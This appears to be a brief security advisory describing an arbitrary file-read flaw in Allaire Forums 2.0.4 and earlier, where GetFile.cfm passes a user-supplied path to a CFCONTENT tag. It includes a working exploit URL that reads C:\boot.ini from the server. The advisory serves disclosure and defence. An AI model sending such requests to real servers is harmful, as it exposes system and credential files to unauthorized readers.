source: http://www.securityfocus.com/bid/229/info

An Allaire Forums file "GetFile.cfm" in the root of the application directory allows anyone to access any file on the Forums server. This vulnerability affects Forums 2.0.4 and earlier. 

Type the URL "GetFile.cfm?FT=Text&FST=Plain&FilePath=C:\boot.ini" (without the quotes") where C:\boot.ini is the pathname and file to read.

The syntax of the request is <CFCONTENT TYPE="#FT#/#FST#" FILE="#FilePath#">